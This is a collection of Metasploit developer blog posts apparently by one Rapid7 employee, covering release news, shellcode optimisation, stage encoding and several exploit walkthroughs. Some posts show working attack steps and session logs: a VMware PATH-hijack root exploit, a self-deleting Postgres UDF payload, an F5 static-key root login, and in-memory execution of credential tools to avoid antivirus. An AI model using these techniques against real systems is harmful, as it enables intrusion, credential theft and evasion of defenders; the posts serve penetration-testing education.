1 2 Previous Next


20 Posts authored by: egypt Employee

Weekly Metasploit Wrapup

Posted by egypt Employee Oct 7, 2015

Welcome to another edition of the increasingly inaccurately named Weekly Wrap up! I'm egypt and I'll be your host. Since the last one of these, a lot of work has landed on the Framework. I talked about some of it with a bit of a yearly wrapup at my Derbycon talk. We also had a fun time at the Metasploit Townhall.


One of the recent things I didn't cover is the super cool BusyBox work by Javier Vicente Vallejo. For those who aren't familiar, BusyBox is a small, usually statically compiled, shell environment for resource-constrained systems like SOHO routers (which we've talked about quite a bit here on the Metasploit blog). From the official website:

BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.


BusyBox has been written with size-optimization and limited resources in mind. It is also extremely modular so you can easily include or exclude commands (or features) at compile time. This makes it easy to customize your embedded systems. To create a working system, just add some device nodes in /dev, a few configuration files in /etc, and a Linux kernel.

BusyBox is used all over the place with all sorts of different configurations and, as a result of its modular design, many deployments are stripped down to the bare minimum requirements of a given system. That means significant environment-specific limitations from a post-exploitation perspective. Having a collection of tools for working with it after you've compromised a device can save a lot of time over figuring out what particular handicaps a given busybox has been compiled with.


We also released our shiny new Omnibus installer, with support for Windows, Linux, and OSX, for your Open Source installation pleasure.


As always, feel free to check the diffs from the last blog checkpoint, over on GitHub.


Exploit modules


Auxiliary and post modules


Workspace in your prompt

Posted by egypt Employee Aug 19, 2015

This is the simple prompt that msfconsole gives you by default:


The second part, "exploit(psexec)" shows your current context is the exploit module named psexec. You can't change that because it's an important indicator of where you are. The first part, though, is just a default string to tell you you're in msfconsole. It can be controlled with the global Prompt option; you can set it to whatever you want:


setg Prompt lolhax



But that's not too exciting. To make it more interesting, there are several substitutions you can do to get more information out of the framework every time you hit enter. Check out this post from when the feature was introduced for more details on the existing variables.


New Shiny


Metasploit uses "workspaces" as a means of separating data ( and has for a long time). Now you can add your workspace to your prompt with the %W specifier:



Further, the save command now captures the current workspace as well, so the next time you fire up msfconsole, you'll start in the workspace you left off in and it will be displayed in your shiny new prompt.

Shellcode is an exercise in trade-offs.


To be really flexible and fit in the most exploits, shellcode must be small.  On the other side of the scale, there are certain features that you need or want, each adding to the size. For instance, doing DNS resolution in the first stage payload is useful, but (in Windows) requires adding 80 bytes to the stager. So we have to balance size, which is very important for compatibility with some exploits that have limited buffers to work with, with features and reliability, which are important for world domination.


Metasploit's existing stagers are usually small enough, and our encoders get rid of bad characters for you, so it doesn't make sense to spend a lot of time writing your own payloads or optimizing to get rid of pesky bytes. Sometimes, though, a few bytes can make a big difference.  For example, the exploit for MS08-067, ms08_067_netapi.rb has a buffer size of 400 bytes; we'll come back to this in a moment.



block_api is a brilliant piece of kit that rummages through MZ headers looking for the function we want to call so that finding a pointer to, say, "InternetOpenA" which is portable and reliable on all versions of Windows. Because all of our Windows payloads use it, a win here can make all our Windows payloads a little bit smaller.


The first win comes from the fact that x86 has several ways of addressing memory. This is the original code:

   add eax, edx           ; Add the modules base address
   mov eax, [eax+120]     ; Get export tables RVA


The mov instruction here is using the "mov reg, r/m" form, which allows us to do some simple math on a register (adding 120) without having to store the result. The "r/m" argument is a little more flexible, though. It was intended to be able to reference tables and can take "[ base + scale*index + disp32 ]", where base would normally be the beginning of the table, scale would be the size of its elements, index would be the index of the element you want, and disp32 the offset within that element.


Armed with this knowledge, both of the above instructions can be condensed into one:

  mov eax, [eax+edx+120]    ; Get export tables RVA

for a one-byte saving. Every byte is sacred, after all.


The second reduction comes from the fact that the designers of x86 intended the ECX register to be used as a loop counter and thus added several instructions that treat it specially. jecxz is one that allows us to jump without having to explicitly test a register. By using ECX for our EAT pointer instead of EAX, we can turn this:

  test eax, eax          ; Test if no export address table is present
  jz get_next_mod1       ; If no EAT present, process the next module

into this:

  jecxz get_next_mod1    ; If no EAT present, process the next module

saving another 2 bytes.




That's all great for improving your shellcode golf score, but the big win came in the reverse_http and reverse_https payloads.


The first thing I noticed about reverse_http is that it used the time-honored tradition of jmp'ing ahead, then call'ing backwards and popping the return address to get the address of a string on the stack (in this case, it was the hostname and URI to callback to). Then it would store that value in a register and later push it as an argument to a function. Since the call instruction already puts the value on the stack, I simply rearranged it to be in the argument setup instead of beforehand, e.g. something like this pseudocode:


  jmp get_uri
  pop ebx
  push eax
  push eax
  push ebx
  call ...
  call got_uri
  db "/12345", 0x00


became this:

  push eax
  push eax
  jmp get_uri
  call ...
  call got_uri
  db "/12345", 0x00


If we have an instruction like this:

  mov esi, eax

and we don't need eax to keep its value (in this case we don't), we can replace this it with

  xchg esi, eax

and save another byte.


The next savings came from a need for zeros. In almost every function call made in reverse_http(s), we need a zero (or a NULL) for at least one argument.  In fact, we need zero so often that it makes sense to just save it in a register and use it over and over. Previously this was ad-hoc, done at the beginning of each function with a different register. By zeroing one register at the beginning and using it throughout the payload, we can save even more space.


Before this change, reverse_https was 368 bytes unencoded. Encoding with x86/call4_dword_xor knocks it up to 392 bytes. With x86/jmp_call_additive, it is 397 bytes. With the added stuff that ms08_067_netapi needs for fixing up the stack, it comes to 404 and 409, respectively. If you'll recall, that's too large for ms08_067_netapi. The encoders that produce decoding stubs with less overhead also produce badchars for this exploit, so shikata_ga_nai encoding (for instance) will not work.


After this change, reverse_https is 350 bytes unencoded. With all of ms08_067_netapi's restrictions, we can now encode it to a size that will fit. And there was much rejoicing.


Happy hacking.

On August 22, Tavis Ormandy dropped a bug in VMWare that takes advantage of a build configuration in Linux distributions. Providing you have user-level access to a Debian or Ubuntu box with VMWare installed, this exploit gives you root access. It's a fun bug and I want to explain how the Metasploit module for it works:


The background

There's this thing called priv_mode in bash that means it will drop privs if euid != uid. Anyone who has ever tried to "chmod +s /bin/sh" will recognize this as a minor frustration that is easily circumvented by simply writing a wrapper in C that does something like:

int main(int argc, char **argv) {
  return 0;


That is not the thing that priv_mode is meant to fix (although it is annoying if you don't know what's happening when it appears that your privilege escalation bug is getting you an unprivileged shell). What it is really effective at stopping is the case of a setuid binary calling system(3) or popen(3) before dropping privs. It turns out that VMWare Workstation and Player ship with a binary called vmware-mount that does exactly this.


The steps for achieving privilege escalation are pretty straight forward:

  1. Create an executable to be used as our payload
  2. Write it to the host OS's filesystem (in this case, we have to call it lsb_release)
  3. Mark it executable
  4. Run the vulnerable setuid binary


The exploit

This exploit will drop our payload as an executable, so first we include the Msf::Exploit::EXE mixin, which will give us access to several convenience methods for creating executables.

include Msf::Exploit::EXE


Then, in the exploit method, we create an ELF file with generate_payload_exe. This method is smart enough to build the right kind of executable for whatever platform and architecture is supported by the module and currently selected. Then we just write the file and execute the vulnerable utility with the current directory added to the path. These three lines are basically the meat of the exploit.

write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH vmware-mount")


When our shell runs, it will block the controlling process. In our case, that would cause the existing shell session to hang, which is pretty impolite. To solve that problem, we prepend some shellcode to the generated binary that just forks and exits the parent process, leaving our payload to happily frolick about in the background.


The money shot

15:09:57 0 1 exploit(vmware_mount) > sessions -i 1
[*] Starting interaction with 1...

uid=1000(egypt) gid=1000(egypt) groups=1000(egypt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
Background session 1? [y/N]  y

15:09:05 0 1 exploit(vmware_mount) > show options

Module options (exploit/linux/local/vmware_mount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST     yes       The listen address
   LPORT  1234             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

15:09:10 0 1 exploit(vmware_mount) > run

[*] Started reverse handler on
[*] Max line length is 65537
[*] Writing 175 bytes in 1 chunks of 529 bytes (octal-encoded), using printf
[*] Sending stage (36 bytes) to
[*] Command shell session 2 opened ( -> at 2013-09-04 15:08:16 -0500

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1000(egypt)


Want to give this a try yourself?


If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Chaining Zpanel Exploits for Remote Root


ZPanel is a fun, open source web hosting control panel, written in code auditors' favorite language, PHP. For bonus points, ZPanel likes to do some things as root, so it installs a nifty little setuid binary called 'zsudo' that does pretty much what you might expect from a utility of that name -- without authentication. In the wake of some harsh words on reddit and elsewhere in regard to the character of ZPanel's development team, the project came to the attention of some exploit developers with predictable results; now for the low, low price of using two exploits (one to get shell, and one to abuse the zsudo silliness) you can get remote root from a low-priv ZPanel user account.


This update also includes an exploit for a vulnerability in MoinMoin, a wiki written in Python, which was used in the wild against wiki.python.org and wiki.debian.org not too long ago. Juan explained this bug in more detail earlier.  Interestingly, MoinMoin has support for FreeBSD, for which this update also includes a local privilege escalation module taking advantage of the fun new mmap vulnerability.


Moral of this story: if you're owned, assume you're completely owned. And if you're doing the owning, you get to do the root dance.


New Modules

Exploit modules

Auxiliary and post modules



If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.


Weekly Update: Smaller is Better

Posted by egypt Employee Jun 20, 2013

In this week's episode, the role of Tod Beardsley will be played by egypt.


Smaller is better

Perhaps the most prominent addition to the framework this week is not an addition at all, but rather a deletion. We've been working toward a slimmer, more manageable source tree for a while now, and as part of that effort, we recently removed a pile of old-and-busted unit tests. This update goes a bit further, moving source code for some compiled payloads into seperate repositories. Metasploit's version of Javapayload (which includes Java and Android Meterpreter) can now be found at rapid7/metasploit-javapayload, the native C meterpreter lives in rapid7/meterpreter, and the excellent packet manipulation library, PacketFu, has been pulled out of the tree in favor of the standalone gem. As so often is the case when anything involving Java arises, thanks again go to mihi for his help with a consolidated java build environment. By my calculations, the framework repository is now somewhere in the neighborhood of 45MB lighter.


Less is more

Another thing that has gotten much smaller is our pull queue, thanks to the tireless efforts of the lovely wvu. Having someone working full-time on ticket husbandry has made many things go more smoothly, and as a result the number of pull requests and unresolved issues has been steadily falling.  Which, of course, means that now is a great time to submit that patch you've been meaning to write!


New Modules

This week brings 6 new modules:




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

As I mentioned in my post about compiling on the fly, encoders' primary purpose in life is to avoid bad characters in a payload. To recap, the main reason a character is considered "bad" is that some aspect of the exploit makes use of that character impossible.  One reason this might be the case is when a character gets stripped out or mangled along its journey through protocol decoding. For example, in the telnet protocol, \xff is the IAC or Interpret As Command byte. It is treated specially and cannot be used in a payload delivered via that protocol.


However, encoders have a secondary purpose as well: entropy. Encoders are essentially ineffective against Anti-Virus in most cases because of the nature of executable payloads, but can be much more useful against network-based intrusion detection. By making traffic as random as possible, we make it much more difficult for pattern matching on packets to notice anything nefarious.


One place this has been missing is in the second stage payloads. With a staged payload, the first stage connects back to Metasploit who hands it back a larger, more featureful payload. In the case of Meterpreter, the second stage payload is actually a DLL using Stephen Fewer's reflective loading technique to be able to treat the whole file as shellcode.  What this means from a network defense perspective, is seeing an MZ header come across the wire. That's bad news for the poor pentester who's just trying to make ends meet by owning corporate networks and stealing passwords.


Enter stage encoding. Encoding the second stage works just like encoding the stager but the purpose is different. Since the exploit has already done all the hard work of achieving code execution, and the first stage has prepared a nice chunk of memory for us to run in, the second stage doesn't have to worry about pesky things like character restrictions.


Here it is in action:

01:49:54 0 0 exploit(ms08_067_netapi) > show advanced

     [ ... snip ... ]
Payload advanced options (windows/meterpreter/reverse_tcp):
     [ ... snip ... ]
   Name           : EnableStageEncoding
   Current Setting: false
   Description    : Encode the second stage payload
     [ ... snip ... ]
   Name           : StageEncoder
   Current Setting:
   Description    : Encoder to use if EnableStageEncoding is set
     [ ... snip ... ]

01:49:55 0 0 exploit(ms08_067_netapi) > set EnableStageEncoding true
EnableStageEncoding => true
01:49:55 0 0 exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (752158 bytes) to
[*] Meterpreter session 8 opened ( -> at 2013-01-29 01:50:18 -0600
[*] Session 8 created in the background.
01:50:18 1 0 exploit(ms08_067_netapi) >

The output here is only subtly different from before. Stage encoding adds a new line ("[*] Encoded stage with x86/shikata_ga_nai") telling us it has done its job. But the network is a different story. Here's what it looks like without stage encoding:


And here it is with stage encoding enabled:



Like encoding of the stager (or the single stage in the case of a standalone payload), we start with the highest ranked encoder module and fall through to lower-ranked modules if that doesn't work. Since there are no bad characters to avoid, the system will always pick the highest ranked encoder. Encoders are ranked by randomness, so you'll get a pretty good pile of entropy from the default for your platform (for x86, this is shikata_ga_nai). If you don't like that, you can set a particular one in the StageEncoder advanced option.


The idea for stage encoding has been around for a long time -- the first commit to introduce it was back in 2007 -- but it's been disabled for almost as long. Back in October, open source contributor Agix brought it back to the world's attention with a pull request that uncommented the encoding.  Unfortunately, it still had the problems that skape had encountered in 2007, namely that it just took far too long to encode the larger buffer of the second stage. After debating with several folks on what to do with this problem, I decided to just dig into it and find out why it was so slow and whether there was anything we could do about it.


Two major performance enhancements came out of that digging. The first was taking advantage of the fact that there can be no bad xor keys if there are no bad characters to avoid. Short-circuiting a loop over the entire buffer saved a bit. The second was much more substantial and has to do with a quirk of Ruby string manipulation, which I mentioned before, in 2009.


String#<< is the append operator. It takes the argument and stuffs it onto the end of your string, changing it in place.  String#+ on the other hand, returns a new String containing both. There is some amount of overhead in creating a new object compared to just changing an existing one, but that's only part of the issue here. The difference from a performance perspective is best illustrated with some pseudo-C:


// String#<<
self = realloc(self, strlen(self) + strlen(other) + 1);
memcpy(self + strlen(self), other, strlen(other));
return self;
// String#+
a = malloc(strlen(self) + strlen(b) + 1);
memcpy(a, self, strlen(self));
memcpy(a + strlen(b), self, strlen(self));
return a;


Notice that appending requires copying only the argument while creating a new string requires copying both, in addition to that small amount of overhead for creating a new string object. Notice also that if you put this in a loop, that small amount of overhead gets multiplied by the length of the loop and you take another hit the next time the garbage collector runs.


Changing one line in the encoding system to use << instead of += improved the performance of encoding large buffers by two orders of magnitude. The result is usable encoding on ~1MB of shellcode and no more MZ headers on the wire.

This afternoon, another scary advisory was posted to the Ruby on Rails security discussion list. Fortunately, this one doesn't affect any Metasploit products. The previous advisory (that HD talked about here) dealt with Rails parameter parsing of XML from a POST request.  The short version is that XML can contain YAML, and YAML lets you deserialize instances of arbitrary classes. The one from this afternoon is very similar except this time it's JSON parsing that can be coerced into into YAML instead of XML parsing.


Triggering the bug is relatively simple, just send a request with "Content-Type: application/json" and a bunch of YAML in the body. The result is exactly what we had with the XML -> YAML bug, i.e. you can do one of a few super fun things:


  • Instantiate one of several builtin types including String, Fixnum, DateTime, etc
  • Allocate an arbitrary ruby object and call its init_with method
  • Allocate an arbitrary ruby object and call its instance_variable_set method
  • Instantiate an arbitrary ruby object and call its []= method



None of those are direct code execution, all by itself, but Postmodern and HD covered what you can do with them in pretty thorough detail, so I won't repeat it here.  Suffice it to say that a new module just went out and now there are two reliable exploits for Rails that don't care one whit about the application that runs on it.

The update from 2012-12-14 contains a new module that brings code execution on an authenticated Postgres database to Linux. Metasploit has had this capability on Windows for quite some time but it took community contributor midnitesnake to scratch this particular itch. There are two reasons I'd like to talk about this module. First, it's not an exploit in the traditional sense because the vulnerability it takes advantage of is not really a vulnerability. Postgres allows authenticated users to write files. It also allows authenticated users to create so-called "User Defined Functions," which can be native functions in a shared object file. This combination allows authenticated code execution by design -- my favorite kind of vulnerability. The second reason I think this module is important is that it uses a relatively new method for compiling a payload on the fly, similar to the Linux sock_sendpage kernel exploit.


First, the vulnerability. Postgres can store arbitrarily large binary data in what the documentation calls a "largeobject". This seems to be meant primarily for images for webservers, but the particulars of why they exist for high-performance webservers and databases are irrelevant when you just want a shell. So let us suffice it to say that you can put a .so file in the database and write it to disk. The next step is instructing Postgres to load up a UDF from the supplied .so, which causes it to call dlopen(3) on that file, do some sanity checks, and eventually register some exported functions as callable from SQL. Traditionally, this has been done with legitimate Postgres extensions that can, for example, run system commands. However, there's a simpler way to go from .so to code execution. Let's see how the payload does its work.


The entire C payload follows:

      int _exit(int);
      int printf(const char*, ...);
      int perror(const char*);
      void *mmap(int, int, int, int, int, int);
      void *memcpy(void *, const void *, int);
      int mprotect(void *, int, int);
      int fork();
      int unlink(const char *pathname);

      #define MAP_PRIVATE 2
      #define MAP_ANONYMOUS 32
      #define PROT_READ 1
      #define PROT_WRITE 2
      #define PROT_EXEC 4

      #define PAGESIZE 0x1000

      char shellcode[] = "#{shellcode}";

      void run_payload(void) __attribute__((constructor));

      void run_payload(void)
        int (*fp)();

        memcpy(fp, shellcode, sizeof(shellcode));
        if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
        if (!fork()) {



Notice that the first thing this code does is define all the libc function prototypes we'll be using. Doing it this way instead of just #include-ing stdio.h and friends allows Metasm, the awesome pure ruby compiler/assembler, to compile code that uses libc functions without actually having to parse all the header files; Metasm will still figure out that you need to link libc.so and put that information in the ELF headers. The main advantage of this is drastically reduced compile time, with a secondary perk being that you don't have to have Linux headers if you're compiling on Windows and vice versa.


Since we're compiling this on the fly, we have a little extra knowledge that wouldn't usually be available at compile time -- the filename where our payload will be stored. That means we can immediately delete the file as soon as the shellcode process has been kicked off, making it a little harder to notice when the compromise happens and a little more difficult to track down after the fact.


Note that the shellcode is in a global variable which will end up in a non-executable section of the ELF. The same issue would arise if we made it a local variable. It would go in the stack which is also non-executable. Thus, we will have to mmap some memory and mark it read-write-execute (RWX). To understand the reason for requiring RWX memory we need some familiarity with how Metasploit encoders work.


A brief aside on encoders


As TheLightCosine mentioned in his post about Anti-Virus evasion, encoders are not meant to defeat AV. Their primary purpose is avoiding bad characters. One way encoders accomplish this is by xor'ing the payload with bytes that make all the bad characters into something acceptable. To decode the resulting bytes, we need a decoder stub, and that decoder stub needs to know the address of the payload it's decoding. To get the address, the decoder stub will use some technique for returning the value of the instruction pointer and figure out the offset from there. Once it's got the address, it steps over each byte of the payload, xor'ing it back to its original value before falling through to the now-decoded payload.


So the memory in which the payload resides must be writable for the decoder to modify it back to its original form, and it must be executable to run that code once it gets decoded back to normal. Thus, we need RWX memory.


Back to your regularly scheduled Postgres


The tricky bit here is the use of a constructor, denoted by __attribute__((constructor)). This tells the compiler to place a pointer to the given function in the .init_array section of the compiled ELF file. Whenever dlopen(3) opens a file, one of the things it does is look in that section for a list of functions to call before it returns. Note that constructors are run from inside libc by dlopen before it returns so Postgres (or indeed anything dlopen(3)ing a shared lib) has no idea what those constructor functions do or even that they exist. Because of this feature, we don't have to jump through all the hoops Postgres sets up for creating a UDF. All we have to do is tell Postgres to create a UDF using this .so file and it will happily load it up with dlopen, running our shellcode in the process.


The equivalent Windows code for this exploit used to use a UDF for executing system commands. As a result of playing with the port to Linux, it became obvious that Windows can take a similar approach. Fortunately some of the work was already done and Windows can use the existing dll template in data/templates to accomplish the same feats as compiling a dynamic shared object for Linux. The default template will spawn a new process, inject the payload into that, and run it. Again, since everything happens from DllMain, it doesn't matter that the DLL doesn't follow the proper Postgres APIs.




Authenticated code execution by design is the best kind of vulnerability. From the vendor's point of view, it isn't a bug, so it will never be patched. From the IDS's perspective, it looks exactly like a normal connection, from a normal user who is allowed to talk to the server. Being able to compile a non-standard custom payload gives module writers incredible flexibility for exploiting situations like this.


Introduction to Metasploit Hooks

Posted by egypt Employee Dec 17, 2012

Metasploit provides many ways to simplify your life as a module developer. One of the less well-known of these is the presence of various hooks you can use for processing things at important stages of the module's lifetime. The basic one that anyone who has written an exploit will be familiar with is exploit, which is called when the user types the exploit command. That method is common to all exploit modules. Aux and post modules have an analogous run method. Common to all the runnable modules (aux, post, and exploit) are setup and cleanup, which are called at the beginning and end of a module run, respectively. Setup is meant as a place for modules to read in data files, start services, or any other task that needs to happen one time before running the main body of the module. Cleanup is designed to be run afterwards for restoring settings or for deallocating resources that the module used. For example, the cleanup method might be used to kill any background threads that the module spawned or to delete files dropped on the victim (but see the FileDropper mixin if you need to do that).


Some mixins add to the list of available hooks or override exploit to provide a different interface. The first I'd like to mention, and one of the most common, is HttpServer. Its exploit method sets up the server. All (well, almost all) browser exploits include this mixin and define the on_request_uricallback. What you may not know is that HttpServer inherits from TcpServer and therefore has all of these, as well:

  • on_client_connect
  • on_client_data
  • on_client_close


In addition, TcpServer has one more obscure hook: primer. For a client-side exploit (i.e., one that includes a server mixin of some sort), you generally define one of the on_* hooks to be called whenever a client event occurs and just let the exploit method start the server and begin dealing with requests from clients. But sometimes you need to do something to trigger that request. An example is a server that can be manipulated into downloading and executing something -- after setting up a server to provide the payload, you need to trigger the download with a request. That's where primer comes in.


Here's the relevant code from TcpServer:

  # This mixin overrides the exploit method so that it can initiate the
  # service that corresponds with what the client has requested.
  def exploit

    print_status("Server started.")

    # Call the exploit primer

    # Wait on the service to stop


This came up when discussing Juan's recent ibm_director_cim_dllinject module, but it is useful for any module that acts as both a server and a client.


If you'd like to dive into writing Metasploit modules, the documentation can help with the various APIs for protocols and exploit techniques: http://dev.metasploit.com/documents/api/


Current User psexec

Posted by egypt Employee Sep 12, 2012

At DEF CON this year I talked about some of the post exploitation capabilities within Metasploit and demo'd a cool technique I developed with Jabra on a pentest a year or so ago (I later found out that Mubix had come up with basically the same idea - great minds think alike). It is essentially this: use a session's current token to create a remote service on a victim machine.


It takes advantage of a feature in Windows that most people take completely for granted. Given that you are already logged in to your desktop machine, you can browse around on shares as yourself transparently due to Windows' security token mechanism. This extends to more than just file shares, and to more than just console logins. If your user has Local Administrator access on the target machine, you can also fiddle with the registry and start/stop services, all without knowing a password or hash. Anyone familiar with how psexec works will notice the awesomesauce here.


When doing a normal psexec, metasploit uploads an exe to the remote system and uses that as the service executable. It turns out the Windows API allows UNC paths for service executables, and since we have control of a system already on the network, we can reduce the forensics footprint on the network overall by just upload it to the compromised machine. Then we start up a file share, and set all the victims to use a UNC path to that share, resulting in only one filesystem containing the actual executable file, and only for as long as you're running the module. Here's the module in action:


I'll be talking about more of the local exploitation capabilities in Metasploit at Derbycon, I hope to see you there.


Press F5 for root shell

Posted by egypt Employee Jun 25, 2012

As HD mentioned, F5 has been inadvertently shipping a static ssh key that can be used to authenticate as root on many of their BigIP devices. Shortly after the advisory, an anonymous contributor hooked us up with the private key.


Getting down to business, here it is in action:


    18:42:35 0 exploit(f5_bigip_known_privkey) > exploit


    [+] Successful login

    [*] Found shell.

    [*] Command shell session 3 opened ([redacted]:52979 -> [redacted]:22) at 2012-06-22 18:42:43 -0600


    id; uname -a

    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

    Linux [redacted] 2.4.21-10.0.1402.0smp #2 SMP Mon Feb 15 10:23:56 PST 2010 i686 athlon i386 GNU/Linux


    Background session 3? [y/N]  y


    18:42:35 1 exploit(f5_bigip_known_privkey) >


Of course, since it's just a regular ssh key, you can easily just drop it in a file and use a standard ssh client.


    ssh -i ~/.ssh/f5-bigip.priv root@


The advantage of using Metasploit to exploit this weakness is in the session management and rapid post-exploitation capabilities that the framework offers.

This bug is also interesting in that it gave us a good test case for using static SSH credentials as an exploit module rather than auxiliary. The key difference between exploit and auxiliary modules is usually the need for a payload. If it needs a payload: exploit. Otherwise, it's auxiliary. In this case it's a little blurry, though, because it results in a session, which is typically an exploit trait. Some of our authentication bruteforce scanners get around this with some ruby acrobatics so they can still create a session despite not having a payload or a handler.


From a module developer perspective, this exploit has a few interesting aspects that you won't see elsewhere.

First, and probably most important, it doesn't upload a payload to the victim. The connection itself becomes a shell, so it doesn't need to but that presents a bit of a problem with the framework's design. Fortunately there is a payload for exactly this situation: cmd/unix/interact. This simple payload is different from most; all it does is shunt commands from the user straight to the socket and back. It uses a "find" handler similar to the way a findsock payload works. To tell the framework about the payload and handler this exploit will require, we need a block in the module info like so:


    'Payload'     => {
      'Compat'  => {
        'PayloadType'    => 'cmd_interact',
        'ConnectionType' => 'find',


Since there is really only one payload that works with this exploit, it also makes sense to set it by default:


    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },


Next, it uses our modified Net::SSH library to connect to the victim. Most exploits will include Msf::Exploit::Remote::Tcp or one of its descendants; those related mixins all set up the options everyone is familiar with: RHOST, RPORT, etc. Since this one does not, we have to do it manually like so:


        # Since we don't include Tcp, we have to register this manually
      ], self.class


Lastly, because the handler is of type "find" we must call handler() to get a session. Most Remote::Tcp exploits don't have to do this if they are not compatible with "find" because the handler will spawn a session whenever a connection is made (either reverse or bind). However, all exploits that *are* compatible with "find" payloads must call handler() at some point. Normally there is a global socket created by the Tcp mixin when you call connect() but in this case it is necessary to let the handler know our socket is now a shell.


    def exploit
      conn = do_login("root")
      if conn
        print_good "Successful login"


This was a fun module to write. The devices it targets can be a goldmine for a pentester who likes packets since they're basically a giant packet sink that lets you read and modify traffic willy nilly. ARP spoofing is noisy and DNS poisoning is hard, let's just own the firewall.

The purpose of this post is to point out a little-known jewel -- the -m flag to meterpreter's execute command. The help tells us that this flag causes the executable to "Execute from memory" but that doesn't really explain it. Here's an example of the -m option in action:


meterpreter > cd %systemroot%
meterpreter > cd system32
meterpreter > pwd
meterpreter > download cmd.exe
[*] downloading: cmd.exe -> cmd.exe
[*] downloaded : cmd.exe -> cmd.exe
meterpreter > execute -H -m -d calc.exe -i -f cmd.exe
Process 572 created.
Channel 5 created.
The system cannot find message text for message number 0x2350 in the message file for Application.

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.



Background that shell, type ps, and you'll notice there is a calc.exe process and no cmd.exe process. So what's happening here? First, we're downloading cmd.exe from the system. This isn't necessary if you already have a copy from another system. Next, we're executing calc.exe as a dummy executable and uploading another executable to run in its process space instead. On the target, this works by starting calc.exe in a suspended state, then using the Windows debugging API to rip out its guts and replace them with an executable we supply from the attacker machine.


Using the in-memory executable technique has a few major advantages. First, the name of the file doesn't show up in a process list so things like Task Manager will display it as whatever normal system executable you picked for the -d option. That's pretty important for staying undetected in the presence of a watchful eye. Second, the executable never touches disk. Avoiding writing executables to disk also means forensics is a bit harder -- there's no suspicious prefetch entry for a new executable, there's no new files or altered modification times. The executable itself could leave behind telltale evidence, of course, but every little bit helps. Staying entirely in memory means AV doesn't get another chance to catch us. Anti-Virus generally doesn't like a lot of the tools you often find very handy, such as Windows Credential Editor, so running them in memory gives you another option to avoid that nuisance. Here's what it looks like:


meterpreter > upload wce.exe
[*] uploading  : wce.exe -> wce.exe
[*] uploaded   : wce.exe -> wce.exe
meterpreter > ls wce.exe
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.


AV decided wce.exe was evil and deleted it before we had a chance to get what we came for.  Let's try it in memory:


meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
Process 3216 created.
meterpreter > cat foo.txt


Another advantage that might not be quite so obvious is that this is a means of getting a cmd.exe shell even if cmd is disabled or removed on the target. GPO preventing you from getting what you need? Just upload it into memory and carry on like nothing happened.


Progress on the Internet

Posted by egypt Employee Apr 1, 2012

The Internet has made a lot of progress in the last few years. Censorship has been virtually eliminated. Youtube comments are universally insightful. The people owning networks and dropping docs are now only occasionally on the FBI payroll. Published breaches are at an all-time low. Everyone is running IPv6.


In light of all this progress, it is with a heavy heart that we must announce the demise of IPv4 support in all Metasploit products. This decision has been in the offing for several years, but today, in this time of progress, we've finally made the move.


This is what users of our Pro products will see when using outdated addresses:



And the same error when using the Framework:



Despite the obvious advantages of dropping legacy addressing, switching to only IPv6 is not without its difficulties. Some systems still resolve "localhost" as, which of course won't work. We offer a simple workaround for Windows (Vista and newer) that I know everyone will find to be an easy replacement: using a brilliant stroke of networking genius from Microsoft, you can replace "localhost" with "0--ffff-7f00-0001.ipv6-literal.net", which at least for me is easier to remember anyway. Antiquated systems like Linux don't have this useful bit of kit, so you'll just have to content yourself with using the real IPv6 address instead.


We're confident that users will appreciate the simplicity of supporting only one addressing scheme, and are excited to help future-proof the world of pen-testing.


Derbycon was awesome

Posted by egypt Employee Oct 6, 2011

Derbycon was a blast, easily the best conference I have attended in a while. My favorite part of going to cons is meeting folks with great ideas and the average awesomeness of Derbycon attendees was astounding. I also got to meet several people I've only known through IRC, which is always fun.


My presentation, "The State of the Framework Address", covered some history (both about Metasploit and my own personal journey to becoming a developer), some current features, and a few goals for the future. If you'd like to check out my slides, they're posted on slideshare: http://www.slideshare.net/egypt/state-oftheframeworkaddress/.


